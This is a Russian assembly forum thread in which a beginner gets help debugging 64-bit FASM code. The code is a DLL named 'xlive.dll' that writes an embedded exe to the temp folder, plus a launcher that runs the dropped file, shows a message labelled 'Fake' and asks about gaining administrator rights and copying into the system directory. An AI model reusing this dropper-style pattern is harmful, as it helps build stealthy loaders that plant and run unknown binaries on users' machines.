[FASM] .dll в коде программы

Тема в разделе "WASM.BEGINNERS", создана пользователем miae, 25 июл 2010.

  1. baldr

    baldr New Member

    Публикаций:
    0
    Регистрация:
    29 апр 2010
    Сообщения:
    327
    WriteFile() не нужен адрес хэндла, ей нужен сам хэндл.
     
  2. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Огромное пасибо!!! Всё заработало!!!
    У меня к вам еще 'парачка' вопросов.
    Вот набрасал 2 кода EXE и DLL , знаю что он не оптимизирован под систему , так как не выполняется автоматически с правами администратора, может ко с этим кстати и поможет мне. Смысыл изначално был в том чтобы копирывать и запускать программу из DLL , на MASM все работало а на FASM не могу загрузить библиотеку в память. Помогите с оптимизацией и загрузкой библиотеки.

    DLL http://pastebin.com/a6RyqZ3v
    EXE http://pastebin.com/EiYEZCYU

    Ласт Еррор на Лоад Либрари ERROR_INVALID_ADDRESS 487 (0x1E7) Attempt to access invalid address
     
  3. baldr

    baldr New Member

    Публикаций:
    0
    Регистрация:
    29 апр 2010
    Сообщения:
    327
    fragment,

    Малость комментариев:
    * использование расширенных заголовочных файлов (Win64AX.Inc, к примеру) улучшает читабельность и сокращает размер исходного текста (импорт из типовых динамических библиотек происходит автоматически);
    * если динамическая библиотека не зависит от многопоточности, лучше сообщить об этом ОС с помощью DisableThreadLibraryCalls();
    * вычислять длину лучше динамически (я про filelen2 = 2560d-260d и иже с ними);
    * директива file позволяет определить массив байт без нудного многострочного db;
    * поменяв местами file_ и file2, можно обойтись одним вызовом WriteFile();
    * сакраментальный вопрос: на кой нужна .DLL, весь эффект которой состоит в записи на диск .Exe? Не проще ли пресловутый temp64.exe положить в комплект вместо .DLL?

    64-х битной оси под рукой нет, так что опробовать произведение толком не могу.
     
  4. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    baldr
    Не самый лучший совет новичку. Одно дело, если знаешь, что делаешь, а другое дело, когда потом начинаются вопросы в духе: "Что не так в этом коде: invoke SomeAPIFunc,edx,addr MyLocalVar ?".
     
  5. baldr

    baldr New Member

    Публикаций:
    0
    Регистрация:
    29 апр 2010
    Сообщения:
    327
    l_inc,

    К сожалению, при программировании на языке ассемблера всегда нужно знать, что ты делаешь. :derisive:
     
  6. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    baldr
    Это, конечно, верно, но в случае нерасширенных заголовочных файлов знать надо меньше. :)
     
  7. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо , переписал как вы сказали
    Код (Text):
    1. format PE64 GUI DLL
    2. entry DllEntryPoint
    3.  
    4. include 'win64a.inc'
    5.  
    6. section '.code' code readable executable
    7.  
    8. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
    9.  
    10.         mov     rax,TRUE
    11.         ret
    12. endp
    13.  
    14. proc Main
    15.  
    16.         invoke GetTempPathA,260,Temp
    17.         invoke lstrcatA,Temp,ExeName
    18.         invoke CreateFileA,Temp,GENERIC_WRITE,NULL,NULL,CREATE_NEW,NULL,NULL
    19.  
    20.         mov [hFile],rax
    21.  
    22.         invoke WriteFile,[hFile],File_,FileLen,pBytesWritten,NULL
    23.         invoke CloseHandle,[hFile]
    24.  
    25.         invoke ExitProcess,rax
    26. endp
    27.  
    28. section '.data' data readable writeable
    29.  
    30.   Temp db 260 dup (?)
    31.   ExeName db 'temp64.exe',0
    32.  
    33.   hFile dq ?
    34.   pBytesWritten dq ?
    35.  
    36.   File_ file 'file.exe'
    37.   FileLen = $ - File_
    38.  
    39. section '.idata' import data readable
    40.  
    41.   library kernel,'KERNEL32.DLL'
    42.  
    43.   import kernel,\
    44.          ExitProcess,'ExitProcess',\
    45.          GetTempPathA,'GetTempPathA',\
    46.          lstrcatA,'lstrcatA',\
    47.          CreateFileA,'CreateFileA',\
    48.          WriteFile,'WriteFile',\
    49.          CloseHandle,'CloseHandle'
    Ошибка все та же ERROR_INVALID_ADDRESS 487 (0x1E7) Attempt to access invalid address

    Мне кажеся причина где то в

    Код (Text):
    1. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
    2.  
    3.         mov     rax,TRUE
    4.         ret
    5. endp
     
  8. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    fragment
    Вы уверены, что библиотека не грузится в память? Ошибка ошибкой, но она для Вас не имеет значения, если функция вернула успешное значение.
     
  9. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Код (Text):
    1.         invoke LoadLibraryA,dllname
    2.  
    3.         call LastError
    4.  
    5.         cmp rax,0
    6.         je .dllnotfound
    Ну вобщем выдает ошибку , пробывал загружать shell32.dll ошибки не палучил , значит что-то с либой.
     
  10. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    fragment
    Что в eax после вызова invoke LoadLibraryA,dllname ?
     
  11. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    в rax NULL
     
  12. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    fragment
    Значит действительно не грузится. :) Добавьте в конец строчку
    section '.reloc' fixups data discardable
     
  13. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо вроде помагло:) А что мы зделали ? Зачем еще одна непонятная секция ?
    И вот следующая ошибка , сразу , LastError ERROR_PROC_NOT_FOUND 127 (0x7F) The specified procedure could not be found.ругается на
    Код (Text):
    1. section '.data' data readable writeable
    2.  
    3.         dllname db 'xlive.dll',0
    4.         maindll db 'DllEntryPoint',0
    5.  
    6. section '.code' code readable executable
    7.  
    8. proc Main
    9.  
    10.         invoke LoadLibraryA,dllname
    11.  
    12.         cmp rax,0
    13.         je .dllnotfound
    14.  
    15.         mov [hLib],rax
    16.  
    17.         invoke GetProcAddress,rax,maindll
    18.  
    19.         call LastError
    наверное надо экспортировать прцедуры section '.edata' export data readable
     
  14. baldr

    baldr New Member

    Публикаций:
    0
    Регистрация:
    29 апр 2010
    Сообщения:
    327
    fragment,

    Виртуальный адрес 0x400000 к моменту загрузки DLL уже занят (самим Exe), без таблицы перемещения (те самые fixups) загрузка прерывается. Как вариант, можно добавить at подходящий_адрес в директиву format, чтобы избежать конфликта адресов.

    Насчёт экспорта догадка верная (более того, макроинструкции proc / endp выбросят из кода процедуру Main, если она не используется).
     
  15. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Мда плохо ознакомился с примерами называется , тоесть мне не надо загружать либу искать адрес прцедуры , освобождать ее , я просто зделал invoke MainProc и импортировал её , в DLL соответственно экспортировал, все должно работать но пишет:

    Точка входу в прцедуру MainProc не найдена в библиотеке DLL XLIVE.DLL

    Может я еще что упустил ?
     
  16. l_inc

    l_inc New Member

    Публикаций:
    0
    Регистрация:
    29 сен 2005
    Сообщения:
    2.566
    fragment
    Наверняка. Но тут нужен либо код, либо высококачественная кофейная гуща.
     
  17. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. section '.data' data readable writeable
    7.  
    8.         szServiceName db 'clr_optimization_v2.0.5066_32',0
    9.  
    10.         Alert db 'Программу необходимо запустить от имени Aдминистратора.',0
    11.         Fake db 'Программа работает.',0
    12.  
    13.         schSCManager dq ?
    14.  
    15.         Temp db 260 dup (?)
    16.         ExeName db 'temp64.exe',0
    17.  
    18.         ErrorBuff db 260 dup (?)
    19.         sfc db '%d',0
    20.  
    21. section '.code' code readable executable
    22.  
    23. proc Main
    24.  
    25.         invoke MainProc
    26.  
    27.         invoke GetTempPathA,260,Temp
    28.         invoke lstrcatA,Temp,ExeName
    29.         invoke ShellExecuteA,0,0,Temp,0,0,0
    30.  
    31.         call LastError
    32.  
    33.         invoke OpenSCManagerA,0,0,0F003Fh
    34.         mov [schSCManager],rax
    35.  
    36.         invoke OpenServiceA,[schSCManager],szServiceName,10000h
    37.         mov [schSCManager],rax
    38.  
    39.         cmp rax,0
    40.         jz .exit
    41.  
    42.         invoke CloseServiceHandle,[schSCManager]
    43.         invoke MessageBoxA,0,Fake,0,30h
    44.         invoke ExitProcess,rax
    45.  
    46. .exit:
    47.         invoke CloseServiceHandle,[schSCManager]
    48.         invoke MessageBoxA,0,Alert,0,30h
    49.         invoke ExitProcess,rax
    50. endp
    51.  
    52. proc LastError
    53.  
    54.         invoke GetLastError
    55.         invoke wsprintfA,ErrorBuff,sfc,rax
    56.         invoke MessageBoxA,0,ErrorBuff,0,00000030h
    57.         ret
    58.  
    59. endp
    60.  
    61. section '.idata' import data readable
    62.  
    63.   library kernel,'KERNEL32.DLL',\
    64.           user,'USER32.DLL',\
    65.           shell,'SHELL32.DLL',\
    66.           advapi,'ADVAPI32.DLL',\
    67.           xlive,'XLIVE.DLL'
    68.  
    69.   import xlive,\
    70.          MainProc,'MainProc'
    71.  
    72.   import advapi,\
    73.          OpenSCManagerA,'OpenSCManagerA',\
    74.          OpenServiceA,'OpenServiceA',\
    75.          CloseServiceHandle,'CloseServiceHandle'
    76.  
    77.   import kernel,\
    78.          ExitProcess,'ExitProcess',\
    79.          GetTempPathA,'GetTempPathA',\
    80.          lstrcatA,'lstrcatA',\
    81.          LoadLibraryA,'LoadLibraryA',\
    82.          GetProcAddress,'GetProcAddress',\
    83.          FreeLibrary,'FreeLibrary',\
    84.          GetLastError,'GetLastError'
    85.  
    86.   import shell,\
    87.          ShellExecuteA,'ShellExecuteA'
    88.  
    89.   import user,\
    90.          MessageBoxA,'MessageBoxA',\
    91.          wsprintfA,'wsprintfA'
    DLL успешно отрабатывает и копирует фаил exe в Temp , хотя хотелось бы в %systemroot% , остается его только запусить с правами администратора. До LastError программа не доходит видемо опять что-то с адресами возврата.
     
  18. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Так забыл вместо ExitProcess в DLL поставить RET. Спасибо Вам ОГРОМНОЕ что помагаете новичкам таким как я!!!

    Теперь такой вопрос как зделать чтобы программа запускалась от Администротора на WINDOWS 7 x64. У меня щас стоит просто предупреждающее сообщение об этом. И как капирывать фаил в SystemDir , это не полоучается даже если запускать программу из под адимна через explorer.

    Щас программа проверяет заущена ли она от администратора пытаясь окрыть OpenSCManagerA, возможно есть более грамотное решение?

    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. section '.data' data readable writeable
    7.  
    8.     Alert db 'Программу необходимо запустить от имени Aдминистратора.',0
    9.     NormalMSG db 'Программа работает.',0
    10.  
    11.     schSCManager dq ?
    12.  
    13.     Temp db 260 dup (?)
    14.     ExeName db 'temp64.exe',0
    15.  
    16. section '.code' code readable executable
    17.  
    18. proc Main
    19.  
    20.     invoke MainProc
    21.  
    22.     invoke GetTempPathA,260,Temp
    23.     invoke lstrcatA,Temp,ExeName
    24.     invoke ShellExecuteA,0,0,Temp,0,0,0
    25.  
    26.     invoke OpenSCManagerA,0,0,0F003Fh
    27.     mov [schSCManager],rax
    28.  
    29.     cmp rax,0
    30.     jz .exit
    31.  
    32.     invoke CloseServiceHandle,[schSCManager]
    33.     invoke MessageBoxA,0,NormalMSG,0,30h
    34.     invoke ExitProcess,rax
    35.  
    36. .exit:
    37.     invoke CloseServiceHandle,[schSCManager]
    38.     invoke MessageBoxA,0,Alert,0,30h
    39.     invoke ExitProcess,rax
    40. endp
    41.  
    42. section '.idata' import data readable
    43.  
    44.   library kernel,'KERNEL32.DLL',\
    45.       user,'USER32.DLL',\
    46.       shell,'SHELL32.DLL',\
    47.       advapi,'ADVAPI32.DLL',\
    48.       xlive,'XLIVE.DLL'
    49.  
    50.   import xlive,\
    51.      MainProc,'MainProc'
    52.  
    53.   import advapi,\
    54.      OpenSCManagerA,'OpenSCManagerA',\
    55.      CloseServiceHandle,'CloseServiceHandle'
    56.  
    57.   import kernel,\
    58.      ExitProcess,'ExitProcess',\
    59.      GetTempPathA,'GetTempPathA',\
    60.      lstrcatA,'lstrcatA'
    61.  
    62.   import shell,\
    63.      ShellExecuteA,'ShellExecuteA'
    64.  
    65.   import user,\
    66.      MessageBoxA,'MessageBoxA'
    ... да, и хочу чтобы музыка играла , как в кряках ^_^
     
  19. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    fragment
    Установи ей манифест с requireAdministrator запрашиваемым уровнем запуска. Не знаю как сделать через фасм, но можно сгенерить .obj и линковать линкером от студии, они это умеют.
     
  20. ziral2088

    ziral2088 New Member

    Публикаций:
    0
    Регистрация:
    16 авг 2009
    Сообщения:
    283
    fragment
    Что бы узнать запущена ли программа от юзера или от админа используй:
    OpenProcessToken( NtCurrentProcess )
    ZwQueryInformationToken( TOKEN_INFORMATION_CLASS.TokenGroups )
    ConvertStringSidToSid( "S-1-5-32-544" )
    Далее перебираешь все группы пока TOKEN_GROUPS.GroupCount > 0 и сравниваешь полученый сид с помощью EqualSid.
    Как найдешь смотришь в SID_AND_ATTRIBUTES.Attributes.
    Если есть флаг SE_GROUP_ENABLED значит под админом. Если нет под ЮАКом. Если не нашел вообще через EqualSid, значит под юзером который не входит в группу админов.

    Если нужно запускаешь себя под админскими правами через ShellExecute(Ex) с lpVerb = "runas".